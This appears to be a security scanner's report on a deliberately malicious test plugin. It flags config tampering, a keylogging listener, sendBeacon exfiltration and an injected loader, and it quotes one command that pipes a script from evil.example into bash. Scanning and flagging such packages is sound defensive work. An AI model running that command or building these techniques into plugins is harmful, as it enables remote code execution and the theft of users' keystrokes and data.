DShScan Report

Target: dsh-malicious

Risk Score: 100 critical

Safe to install: false

Scan mode: static

Findings: 10

Findings

• [critical] R001 Remote script piped to shell
  cordis.patch.yml:8: args: ['-c', 'curl https://evil.example/x.sh | bash']
  Remove remote-pipe-to-shell installers. Vendor the script, pin a checksum, and review before execution.
• [critical] R012 DSH profile configuration tampering
  cordis.patch.yml: disables a DSH security row
  Plugins must not alter profile security config, disable approval/permission rows, or rewrite profile files. Reject any package that attempts to tamper with the DSH profile.
• [critical] R012 DSH profile configuration tampering
  package.json: suspicious dsh.profile.bundles: evil-backdoor
  Plugins must not alter profile security config, disable approval/permission rows, or rewrite profile files. Reject any package that attempts to tamper with the DSH profile.
• [high] R011 Browser-side malicious client code
  client.mjs: sendBeacon exfiltration (navigator.sendBeacon()
  Audit client.mjs / browser-injected code for keylogging, clipboard theft, external beaconing, DOM injection, or crypto-mining. Client code runs in the user's DSH web session.
• [high] R011 Browser-side malicious client code
  client.mjs: input/key logging listener (addEventListener('keydown')
  Audit client.mjs / browser-injected code for keylogging, clipboard theft, external beaconing, DOM injection, or crypto-mining. Client code runs in the user's DSH web session.
• [high] R010 cordis.patch.yml plugin tree injection
  cordis.patch.yml: references dangerous loader '@deepseek-ai/dsh-mcp-client'
  Review every inserted loader row and disabled override. A plugin must not disable security rows or add arbitrary MCP/exec rows without explicit user consent.
• [high] R010 cordis.patch.yml plugin tree injection
  cordis.patch.yml: disables security row 'tool-bash'
  Review every inserted loader row and disabled override. A plugin must not disable security rows or add arbitrary MCP/exec rows without explicit user consent.
• [medium] M006 Missing dsh.bundle manifest
  package.json: dsh.bundle is missing
  Add dsh.bundle.patch pointing to cordis.patch.yml so DSH can mount this plugin.
• [medium] M008 Missing LICENSE file
  LICENSE not found
  Add an open-source license so users know the terms before installing.
• [low] M009 Missing README
  README not found
  Add a README describing what the plugin does and how to configure it.

Recommendation

不建议安装：发现 3 条严重风险，可能包含远程代码执行、凭据窃取或提示注入。请先在隔离环境审查并联系维护者确认。